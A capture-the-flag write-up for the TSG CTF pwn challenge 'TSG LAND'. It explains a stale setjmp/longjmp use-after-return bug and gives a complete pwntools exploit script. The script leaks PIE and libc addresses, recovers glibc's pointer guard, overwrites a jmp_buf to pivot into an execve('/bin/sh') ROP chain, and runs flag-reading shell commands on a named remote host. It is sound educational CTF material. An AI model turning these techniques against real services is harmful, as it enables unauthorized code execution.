//TSG CTF – TSG LAND (pwn)
Category: pwn (amd64 Linux)
Remote: nc 34.84.25.24 13579
Flag: TSGCTF{W3_4re_l00k1n9_4_5ee1n9_y0u_1n_TSGLAND_a9a1n_ff7c51fb6d50f181}
>0. TL;DR
This challenge is a classic stale setjmp/longjmp context bug.
-
The program stores
jmp_buf env[5]globally. -
It “resumes apps” by doing
longjmp(env[q])even after those functions returned. -
That means the saved stack pointers/registers in
jmp_bufcan be used after the original stack frame is dead ⇒ stack use-after-return. -
The notepad app keeps a heap pointer
char *bufon the stack. If we re-enter notepad via a stalelongjmp, thatbufpointer can be attacker-controlled, giving:
- a leak (printf("saved content: %s\n", buf)), and
- a big write (fgets(buf, 0x1000, stdin)) to attacker-chosen addresses.
We then overwrite the desktop env[0] jump context (with glibc pointer mangling handled) to pivot into a ROP chain in .bss and execute execve("/bin/sh",0,0).
Local success first, then the exact same exploit works remotely using only in-band leaks.
>1. Files
Archive extracted layout (relevant files):
-
chall– the ELF -
chall.c– source -
libc.so.6– the libc used by the container (Ubuntu glibc 2.35) -
exploit_local.py– my final solver (works local + remote)
>2. First look / protections
Program banner
$ ./chall <<< '0' | head -n 30
Welcome to TSG LAND!!!
...
1: notepad.exe
2: password ate quiz ~returns~
3: 4x4 slide puzzle
4: int float translater
0: exit TSG LAND
May I help you? > bye
Mitigations
$ checksec --file=./chall
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
So we need a logic bug; we can’t just smash a return address directly.
>3. Reading the source: the real bug
3.1 The “OS-like” app launcher
Key idea in main() (from chall.c):
jmp_buf env[5];
int launched[5];
int main() {
int res = setjmp(env[0]);
...
for (;;) {
int q = read_int("May I help you?");
...
if (launched[q]) {
longjmp(env[q], 1);
} else {
launched[q] = 1;
((void(*)())apps[q])();
}
}
}
This is extremely suspicious:
-
env[q]is saved once bysetjmp()inside each app. -
After the app returns to desktop (by
longjmp(env[0], 1)), the function’s stack frame is gone. -
But the program still does
longjmp(env[q], 1)later.
That means we restore a stale stack pointer and jump into a function that already returned.
In exploit terms: stack use-after-return by longjmp().
3.2 The powerful primitive: notepad
Notepad is the jackpot:
void notepad() {
void *_[99]; // padding
char *buf = malloc(0x1000);
if (setjmp(env[1]) != 0) {
printf("saved content: %s\n", buf);
}
for (;;) {
int q = read_int("1: edit, 0: save and quit");
if (q == 0) {
longjmp(env[0], 1);
} else {
printf("enter the content > ");
fgets(buf, 0x1000, stdin);
}
}
}
buf is a stack-local variable storing a heap pointer.
If we can corrupt that stale stack slot before re-entering via longjmp(env[1]), we get:
-
Leak:
printf("...%s...", buf) -
Write:
fgets(buf, 0x1000, stdin)
The write is huge (up to 0x1000 bytes) and can target arbitrary addresses.
>4. Getting control of notepad’s stale buf pointer
We need a way to overwrite the stale stack memory where notepad stored buf.
4.1 Why this is possible
Different “apps” use different stack frames, but because we re-enter them with longjmp, stack pointers can overlap heavily across apps.
Two apps matter:
-
slide_puzzle()has a big localstruct board bwith anint board[16]. -
int_float_translater()has a localunsigned long num;which can be set byscanf.
The trick is to use one app to write values into stack memory that overlaps another app’s locals.
4.2 Slide puzzle move semantics matter
The slide puzzle has a custom move implementation:
// move() comment says: left, down, up, right
void move(struct board *b, char m) {
switch (m) {
case 'a': // left
if (b->sx < 3) {
b->board[b->sy*4 + b->sx] = b->board[b->sy*4 + b->sx + 1];
b->sx++;
}
break;
case 'd': // right
if (b->sx > 0) {
b->board[b->sy*4 + b->sx] = b->board[b->sy*4 + b->sx - 1];
b->sx--;
}
break;
case 'w': // up
if (b->sy < 3) {
b->board[b->sy*4 + b->sx] = b->board[(b->sy+1)*4 + b->sx];
b->sy++;
}
break;
case 's': // down
if (b->sy > 0) {
b->board[b->sy*4 + b->sx] = b->board[(b->sy-1)*4 + b->sx];
b->sy--;
}
break;
}
}
Important: the movement direction names are a bit “inverted” compared to typical puzzles.
I treated the code as ground truth and derived a deterministic sequence that copies chosen board[] entries into other indices.
4.3 The sculpting primitive
My solver uses this plan:
-
Resume slide puzzle and normalize the blank to bottom-right, so the move plan is deterministic.
-
Use the translator to inject a 64-bit value that lands in
board[8]andboard[9]. -
Use a deterministic move sequence to copy:
- board[9] → board[3] (high 32 bits)
- board[8] → board[2] (low 32 bits)
Then the 8 bytes at board[2]||board[3] become an attacker-chosen 64-bit value.
Because slide’s stack slot at the same offset overlaps notepad’s buf slot, this sets notepad’s stale buf pointer.
>5. Pivoting execution: overwriting env[0] (with pointer mangling)
5.1 Why env[0]
env[0] is the desktop trampoline. Every app exits back to desktop via:
longjmp(env[0], 1);
If we overwrite env[0] to set:
-
saved
rsp→ pointer to our ROP chain (in.bss) -
saved
rip→ aretgadget
then triggering longjmp(env[0], 1) pivots directly into our ROP.
5.2 Glibc pointer mangling in jmp_buf
Modern glibc mangles pointers inside jmp_buf.
On amd64 glibc, saved registers like rsp, rbp, and rip are stored as:
mangled = rol(ptr ^ guard, 0x11)
So to write valid jmp_buf values, we must know the per-process guard.
Local: get guard using ptrace
For local exploitation I used a helper ptrace_read() so I could read the process memory even when /proc/<pid>/mem was blocked.
We know a “real” return address in main (right after _setjmp):
1cd1: call _setjmp
1cd6: mov DWORD PTR [rbp-0x8],eax <-- this is the known RIP
So we compute:
guard = ror(mangled_rip, 0x11) ^ real_rip
Remote: leak the mangled rip using notepad
Remote cannot ptrace. We do it purely with I/O:
-
Leak PIE base (so we know
real_rip). -
Use the notepad leak primitive to read
env[0].rip_mangled. -
Compute the same guard formula.
>6. In-band leaks needed for remote
To solve remote without ptrace, we need:
-
PIE base
-
libc base
-
pointer guard
6.1 PIE base leak: pwquiz → slide board print
pwquiz() has a stack array of pointers hints[3] pointing into the PIE .rodata.
Because stale stacks overlap, when we “resume slide puzzle” after running pwquiz, the slide board integers end up printing the raw pointer values split into two 32-bit ints.
The solver does:
-
run pwquiz once and quit
-
capture one slide board print
-
parse two ints and rebuild a 64-bit pointer
-
subtract the known offset of a hint string to compute PIE base
6.2 libc base leak: global stdout
The binary has a stdout global pointer in .bss.
That points into libc’s _IO_2_1_stdout_.
So we leak:
-
libc_stdout = *(stdout) -
libc_base = libc_stdout - offset(_IO_2_1_stdout_)
6.3 pointer guard leak
Once PIE base is known, we know the “real RIP” address after _setjmp in main.
Then we leak mangled RIP out of env[0] and compute guard.
>7. Final payload design
7.1 Avoiding fgets truncation by newline
The write primitive is fgets(buf, 0x1000, stdin).
Important property: it stops on \n.
So if our payload bytes contain 0x0a, the write may be truncated, leading to partial jmp_buf overwrites and crashes.
My final exploit handles this by:
-
selecting a
chain_addrwhose mangled value contains no\nbytes, -
building a newline-free overwrite payload,
-
and (if needed) placing
"/bin/sh\0"into.bssif the libc string address is newline-hostile.
7.2 Using execve syscall instead of system
system("/bin/sh") is often fine, but can be brittle (signals, environment, stack alignment quirks).
I used a direct syscall chain:
-
set registers:
rdi = "/bin/sh",rsi = 0,rdx = 0,rax = 59 -
syscall; ret
This is compact and stable.
>8. Full solver code
The complete solver is in exploit_local.py (works in 3 modes):
-
Local + ptrace (default):
python3 exploit_local.py -
Local, remote-style in-band (ASLR on):
INBAND=1 python3 exploit_local.py -
Remote auto mode (non-interactive):
python3 exploit_local.py 34.84.25.24 13579
Below is the full content (as requested).
<details> <summary><strong>exploit_local.py (full)</strong></summary>
#!/usr/bin/env python3
from __future__ import annotations
import os
import re
import struct
import sys
from pathlib import Path
import ctypes
import ctypes.util
from pwn import ELF, ROP, context, process, remote
context.binary = "./chall"
context.log_level = os.environ.get("LOG", "info")
HERE = Path(__file__).resolve().parent
def p64(x: int) -> bytes:
return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
def has_nl(data: bytes) -> bool:
return b"\n" in data
def u64(data: bytes) -> int:
return struct.unpack("<Q", data.ljust(8, b"\x00"))[0]
def rol(x: int, r: int) -> int:
r &= 63
return ((x << r) | (x >> (64 - r))) & 0xFFFFFFFFFFFFFFFF
def ror(x: int, r: int) -> int:
r &= 63
return ((x >> r) | (x << (64 - r))) & 0xFFFFFFFFFFFFFFFF
def mangle_ptr(ptr: int, guard: int) -> int:
return rol(ptr ^ guard, 0x11)
def find_nl_free_chain_addr(env0_addr: int, guard: int) -> int:
# Search within a nearby RW region (same .bss page) for a pivot address whose
# mangled representation contains no '\n' bytes, so fgets() won't truncate.
for off in range(0x500, 0x900, 8):
cand = env0_addr + off
if cand % 16 != 0:
continue
if not has_nl(p64(mangle_ptr(cand, guard))):
return cand
raise RuntimeError("failed to find newline-free chain address")
def parse_maps(pid: int) -> dict[str, int]:
bases: dict[str, int] = {}
maps = Path(f"/proc/{pid}/maps").read_text()
for line in maps.splitlines():
# example:
# 555555554000-555555556000 r--p ... /path/chall
m = re.match(r"^([0-9a-f]+)-[0-9a-f]+\s+....\s+.*\s(/.*)$", line)
if not m:
continue
start = int(m.group(1), 16)
path = m.group(2)
if path.endswith("/chall"):
bases["chall"] = min(start, bases.get("chall", start))
if path.endswith("/libc.so.6"):
bases["libc"] = min(start, bases.get("libc", start))
if "chall" not in bases or "libc" not in bases:
raise RuntimeError(f"failed to find bases in /proc/{pid}/maps")
return bases
def read_mem(pid: int, addr: int, size: int) -> bytes:
with open(f"/proc/{pid}/mem", "rb", buffering=0) as f:
f.seek(addr)
return f.read(size)
_libc_path = ctypes.util.find_library("c")
if not _libc_path:
raise RuntimeError("failed to find libc for ptrace")
_clibc = ctypes.CDLL(_libc_path, use_errno=True)
# long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
_clibc.ptrace.argtypes = [ctypes.c_uint, ctypes.c_uint, ctypes.c_void_p, ctypes.c_void_p]
_clibc.ptrace.restype = ctypes.c_long
def _ptrace(request: int, pid: int, addr: int = 0, data: int = 0) -> int:
res = _clibc.ptrace(request, pid, ctypes.c_void_p(addr), ctypes.c_void_p(data))
if res == -1:
err = ctypes.get_errno()
raise OSError(err, os.strerror(err))
return res
def ptrace_read(pid: int, addr: int, size: int) -> bytes:
"""Read memory from another process by temporarily ptrace-attaching.
On many systems (Yama), direct /proc/<pid>/mem reads return EIO unless attached.
"""
PTRACE_PEEKDATA = 2
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Attach and wait for stop
_ptrace(PTRACE_ATTACH, pid)
_, status = os.waitpid(pid, 0)
if not os.WIFSTOPPED(status):
raise RuntimeError("ptrace attach did not stop the process")
try:
out = bytearray()
read_addr = addr
while len(out) < size:
word = _ptrace(PTRACE_PEEKDATA, pid, read_addr, 0)
out += struct.pack("<Q", word & 0xFFFFFFFFFFFFFFFF)
read_addr += 8
return bytes(out[:size])
finally:
_ptrace(PTRACE_DETACH, pid, 0, 0)
class TsgLand:
def __init__(self, io):
self.io = io
def _menu(self, choice: int):
self.io.sendlineafter(b"May I help you? > ", str(choice).encode())
def launch_notepad_once(self):
self._menu(1)
self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"0")
def launch_pwquiz_once_and_quit(self):
self._menu(2)
self.io.sendlineafter(b"1~3: hint, 4: answer, 0: quit", b"0")
def launch_slide_once_and_quit(self):
self._menu(3)
self.io.recvuntil(b"q: save and quit > ")
self.io.send(b"q")
def resume_slide(self):
self._menu(3)
self.io.recvuntil(b"q: save and quit > ")
def slide_capture_board(self) -> bytes:
self._menu(3)
return self.io.recvuntil(b"q: save and quit > ")
def launch_translator_and_set_u64(self, num: int):
self._menu(4)
self.io.sendlineafter(
b"1: uint64 to float64, 2: float64 to uint64, 0: quit > ", b"1"
)
self.io.sendlineafter(b"num(uint64) > ", str(num).encode())
self.io.sendlineafter(
b"1: uint64 to float64, 2: float64 to uint64, 0: quit > ", b"0"
)
def resume_notepad(self):
self._menu(1)
def notepad_write(self, data: bytes):
self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"1")
self.io.sendafter(b"enter the content > ", data + b"\n")
def notepad_quit(self):
self.io.sendlineafter(b"1: edit, 0: save and quit > ", b"0")
# --- slide puzzle move helpers ---
def sp_send_moves(self, moves: str):
# slide_puzzle prints the whole board every step; if we don't drain output,
# stdout can block (pipe buffer fills) and our queued moves won't be processed.
for ch in moves:
if ch == "\n":
continue
self.io.send(ch.encode())
self.io.recvuntil(b"q: save and quit > ")
def sp_quit(self):
self.io.send(b"q")
def sculpt_notepad_buf_via_slide(app: TsgLand, addr: int):
"""Set notepad's stale local `buf` (stored at rbp-0x328) to `addr`.
This works because slide_puzzle's stack slot at rbp-0x328 overlaps notepad's `buf` slot,
and we can inject 32-bit halves into slide_puzzle board[8]/[9] via int_float_translater.
Preconditions:
- notepad was launched once (env[1] saved)
- slide_puzzle was launched once (env[3] saved)
"""
def _parse_blank_xy(slide_out: bytes) -> tuple[int, int]:
# slide prints a 4x4 grid; the blank is printed as "[]".
rows = 0
for line in slide_out.decode(errors="ignore").splitlines():
tokens = re.findall(r"\[\]|-?\d+", line)
if len(tokens) != 4:
continue
if "[]" in tokens:
x = tokens.index("[]")
y = rows
return x, y
rows += 1
if rows >= 4:
break
raise RuntimeError("failed to locate blank position in slide output")
def _moves_to_bottom_right(x: int, y: int) -> str:
# move() semantics: 'a' increases sx (blank right), 'd' decreases sx (blank left)
# 'w' increases sy (blank down), 's' decreases sy (blank up)
mv = []
if x < 3:
mv.append("a" * (3 - x))
elif x > 3:
mv.append("d" * (x - 3))
if y < 3:
mv.append("w" * (3 - y))
elif y > 3:
mv.append("s" * (y - 3))
return "".join(mv)
lo32 = addr & 0xFFFFFFFF
hi32 = (addr >> 32) & 0xFFFFFFFF
# Ensure blank starts at bottom-right for the deterministic plan.
# sculpt_notepad_buf_via_slide() is used multiple times; previous runs move the blank.
out = app.slide_capture_board()
bx, by = _parse_blank_xy(out)
fix = _moves_to_bottom_right(bx, by)
if fix:
app.sp_send_moves(fix)
app.sp_quit()
# Inject into stale slide_puzzle board[8]=lo32, board[9]=hi32.
app.launch_translator_and_set_u64((hi32 << 32) | lo32)
# Resume slide_puzzle. Assume blank starts at index 15 (sx=3, sy=3).
app.resume_slide()
# Correct deterministic plan (derived from the exact move() semantics):
# After injection, board[8]=lo32 and board[9]=hi32.
# We do two phases:
# Phase HI: use board[9] to set board[3]=hi32 without touching board[8].
# Phase LO: use board[8] to set board[2]=lo32 without touching board[3].
# Phase HI: set board[3] = hi32
# 15 -> 14 -> 10
app.sp_send_moves("ds")
# blank@10: 10 <- 9 (hi), blank->9
app.sp_send_moves("d")
# 9 -> 5 -> 6
app.sp_send_moves("sa")
# blank@6: 6 <- 10 (hi), blank->10
app.sp_send_moves("w")
# 10 -> 11 -> 7
app.sp_send_moves("as")
# blank@7: 7 <- 6 (hi), blank->6
app.sp_send_moves("d")
# 6 -> 2 -> 3
app.sp_send_moves("sa")
# blank@3: 3 <- 7 (hi), blank->7
app.sp_send_moves("w")
# Phase LO: set board[2] = lo32
# From blank@7, go to 9 via 7 -> 6 -> 5 -> 9
app.sp_send_moves("ddw")
# blank@9: 9 <- 8 (lo), blank->8
app.sp_send_moves("d")
# Move blank to 10 without stepping on 9: 8 -> 12 -> 13 -> 14 -> 10
app.sp_send_moves("waas")
# blank@10: 10 <- 9 (lo), blank->9
app.sp_send_moves("d")
# 9 -> 5 -> 6
app.sp_send_moves("sa")
# blank@6: 6 <- 10 (lo), blank->10
app.sp_send_moves("w")
# Move blank to 2 without stepping on 6: 10 -> 9 -> 5 -> 1 -> 2
app.sp_send_moves("dssa")
# blank@2: 2 <- 6 (lo), blank->6
app.sp_send_moves("w")
app.sp_quit()
def parse_board_from_slide_output(data: bytes) -> list[int]:
txt = data.decode(errors="ignore")
return [int(x) for x in re.findall(r"-?\d+", txt)]
def leak_pie_base_via_pwquiz_slide(app: TsgLand, elf: ELF) -> int:
"""Leak PIE base by overwriting slide_puzzle's stale board with pwquiz hint pointers."""
# pwquiz stack writes overlap slide_puzzle board[]; then re-enter slide_puzzle via longjmp.
app.launch_pwquiz_once_and_quit()
out = app.slide_capture_board()
app.sp_quit()
nums = parse_board_from_slide_output(out)
if len(nums) < 2:
raise RuntimeError("failed to parse slide output for PIE leak")
lo = nums[0] & 0xFFFFFFFF
hi = nums[1] & 0xFFFFFFFF
leaked_ptr = (hi << 32) | lo
hint3 = b"Hint 3: the most used password in the world"
hint3_off = next(elf.search(hint3))
base = leaked_ptr - hint3_off
return base & 0xFFFFFFFFFFFFF000
def notepad_leak_bytes(app: TsgLand, addr: int) -> bytes:
sculpt_notepad_buf_via_slide(app, addr)
app.resume_notepad()
app.io.recvuntil(b"saved content: ")
leaked = app.io.recvuntil(b"\n", drop=True)
app.notepad_quit()
return leaked
def notepad_leak_qword(app: TsgLand, addr: int) -> int:
return u64(notepad_leak_bytes(app, addr)[:8])
def notepad_write_where(app: TsgLand, addr: int, data: bytes):
sculpt_notepad_buf_via_slide(app, addr)
app.resume_notepad()
app.notepad_write(data)
app.notepad_quit()
def compute_guard(pid: int, env0_addr: int, real_rip: int) -> int:
mangled_rip = u64(ptrace_read(pid, env0_addr + 0x38, 8))
return ror(mangled_rip, 0x11) ^ real_rip
def unmangle_ptr(mangled: int, guard: int) -> int:
return ror(mangled, 0x11) ^ guard
def main():
elf = ELF(str(HERE / "chall"), checksec=False)
libc = ELF(str(HERE / "libc.so.6"), checksec=False)
inband = os.environ.get("INBAND") == "1" or len(sys.argv) == 3
auto = os.environ.get("AUTO") == "1" or len(sys.argv) == 3
if len(sys.argv) == 3:
host = sys.argv[1]
port = int(sys.argv[2])
io = remote(host, port)
else:
# Local: keep the original ptrace-based path by default (reliable).
# Set INBAND=1 to test the remote-style exploit locally under ASLR.
io = process([str(HERE / "chall")], cwd=str(HERE), aslr=inband)
io.timeout = 3
app = TsgLand(io)
if not inband:
bases = parse_maps(io.pid)
elf.address = bases["chall"]
libc.address = bases["libc"]
env0_addr = elf.sym["env"] # env[0] base (rebased)
# _setjmp returns to main+0x30 (instruction at 0x1cd6 relative)
real_rip = elf.address + 0x1CD6
guard = compute_guard(io.pid, env0_addr, real_rip)
# Satisfy sculpting preconditions: create env[3] and env[1].
app.launch_slide_once_and_quit()
app.launch_notepad_once()
else:
# --- Remote-style exploitation (no ptrace): ---
# Create env[3] for slide_puzzle re-entry.
app.launch_slide_once_and_quit()
pie_base = leak_pie_base_via_pwquiz_slide(app, elf)
elf.address = pie_base
env0_addr = elf.sym["env"]
# Create env[1] for notepad re-entry.
app.launch_notepad_once()
# Leak pointer guard from env[0].rip (mangled) and known real RIP.
mangled_rip = notepad_leak_qword(app, env0_addr + 0x38)
real_rip = elf.address + 0x1CD6
guard = ror(mangled_rip, 0x11) ^ real_rip
# Leak libc from global stdout pointer.
stdout_g = elf.sym.get("stdout", elf.address + 0x4060)
libc_stdout = notepad_leak_qword(app, stdout_g)
libc.address = libc_stdout - libc.sym["_IO_2_1_stdout_"]
# Choose a writable ROP chain spot in .bss that is newline-safe under mangling.
chain_addr = find_nl_free_chain_addr(env0_addr, guard)
rop = ROP([elf, libc])
ret = rop.find_gadget(["ret"])[0]
# Prefer an execve("/bin/sh", NULL, NULL) syscall chain for robustness.
libc_rop = ROP(libc)
pop_rdi = libc_rop.find_gadget(["pop rdi", "ret"])[0]
pop_rsi = libc_rop.find_gadget(["pop rsi", "ret"])[0]
pop_rax_rdx_rbx = (
libc_rop.find_gadget(["pop rax", "pop rdx", "pop rbx", "ret"])[0]
)
syscall_ret = libc_rop.find_gadget(["syscall", "ret"])[0]
binsh = next(libc.search(b"/bin/sh\x00"))
# Ensure the chain bytes themselves contain no '\n' (fgets delimiter).
# If libc's "/bin/sh" address is newline-hostile, place the string in .bss.
binsh_addr = binsh
bss_binsh = chain_addr + 0x200
chain_try = b"".join(
[
p64(pop_rdi),
p64(binsh_addr),
p64(pop_rsi),
p64(0),
p64(pop_rax_rdx_rbx),
p64(59),
p64(0),
p64(0),
p64(syscall_ret),
]
)
if has_nl(chain_try) or has_nl(p64(binsh_addr)):
# Write "/bin/sh\0" into .bss and use that instead.
if inband:
notepad_write_where(app, bss_binsh, b"/bin/sh\x00")
else:
sculpt_notepad_buf_via_slide(app, bss_binsh)
app.resume_notepad()
app.notepad_write(b"/bin/sh\x00")
app.notepad_quit()
binsh_addr = bss_binsh
chain = b"".join(
[
p64(pop_rdi),
p64(binsh_addr),
p64(pop_rsi),
p64(0),
p64(pop_rax_rdx_rbx),
p64(59),
p64(0),
p64(0),
p64(syscall_ret),
]
)
if has_nl(chain):
raise RuntimeError("failed to build newline-free ROP chain")
# --- Write chain and hijack env[0] ---
if inband:
notepad_write_where(app, chain_addr, chain)
else:
sculpt_notepad_buf_via_slide(app, chain_addr)
app.resume_notepad()
app.notepad_write(chain)
app.notepad_quit()
# Build a newline-safe full jmpbuf overwrite: all saved regs point at chain_addr.
pivot_rip = ret
mang_chain = mangle_ptr(chain_addr, guard)
mang_rip = mangle_ptr(pivot_rip, guard)
payload = b"".join(
[
p64(mang_chain),
p64(mang_chain),
p64(mang_chain),
p64(mang_chain),
p64(mang_chain),
p64(mang_chain),
p64(mang_chain),
p64(mang_rip),
]
)
# --- Robust env[0] overwrite via notepad buf-slot self-write ---
env1_addr = env0_addr + 0xC8
if inband:
env1_rbp_mangled = notepad_leak_qword(app, env1_addr + 0x08)
else:
env1_rbp_mangled = u64(ptrace_read(io.pid, env1_addr + 0x08, 8))
notepad_rbp = unmangle_ptr(env1_rbp_mangled, guard)
bufslot_addr = notepad_rbp - 0x328
# 1) Make notepad's buf point to its own bufslot on the stack
sculpt_notepad_buf_via_slide(app, bufslot_addr)
app.resume_notepad()
# 2) Overwrite buf pointer value to env[0]
app.notepad_write(p64(env0_addr))
# 3) Now write the jmp_buf payload to env[0]
app.notepad_write(payload)
# 4) Trigger longjmp(env[0], 1)
app.notepad_quit()
if auto:
# Non-interactive: dump flag and exit.
io.sendline(
b"echo __BEGIN__; "
b"uname -a; id; pwd; "
b"ls -al; ls -al flag*.txt flag-*.txt 2>/dev/null; "
b"echo __TRY__; "
b"cat /flag.txt 2>/dev/null; "
b"cat flag.txt 2>/dev/null; "
b"cat build/flag.txt 2>/dev/null; "
b"cat flag-*.txt 2>/dev/null; "
b"cat flag*.txt 2>/dev/null; "
b"echo __END__; exit"
)
data = io.recvall(timeout=8) or b""
m = re.search(rb"TSGCTF\{[^\n\r}]+\}", data)
if m:
sys.stdout.buffer.write(m.group(0) + b"\n")
else:
sys.stdout.buffer.write(data)
return
io.interactive()
if __name__ == "__main__":
main()
>9. Running it locally (proof)
9.1 Dependencies
$ python3 -m pip install --user pwntools
9.2 Local exploit (ptrace-based)
$ python3 exploit_local.py
[*] Starting local process './chall'
...
$ cat build/flag.txt
TSGCTF{...local...}
9.3 Local exploit in remote-style mode (no ptrace)
$ INBAND=1 python3 exploit_local.py
$ cat build/flag.txt
TSGCTF{...local...}
>10. Remote solve (non-interactive)
$ python3 exploit_local.py 34.84.25.24 13579
TSGCTF{W3_4re_l00k1n9_4_5ee1n9_y0u_1n_TSGLAND_a9a1n_ff7c51fb6d50f181}
>11. Debugging notes (what mattered)
-
Send
qas a single byte (notq\n) to avoid leaving extra newlines forgetchar(). -
Normalize slide blank position before each sculpt; otherwise the deterministic move plan breaks on the 2nd sculpt.
-
jmp_bufpointers are mangled in glibc: you must recover the pointer guard and re-manglersp/rip. -
fgets()truncates at\n; choose newline-safe addresses/payloads. -
If you set
libc.address, pwntoolsROP(libc)gadgets are already absolute; do not add base twice.
>12. References
-
man setjmp,man longjmp -
pwntools docs: https://docs.pwntools.com/
-
glibc source: search for
PTR_MANGLE/PTR_DEMANGLEand “pointer guard” in the glibc tree (used by setjmp/longjmp on x86_64).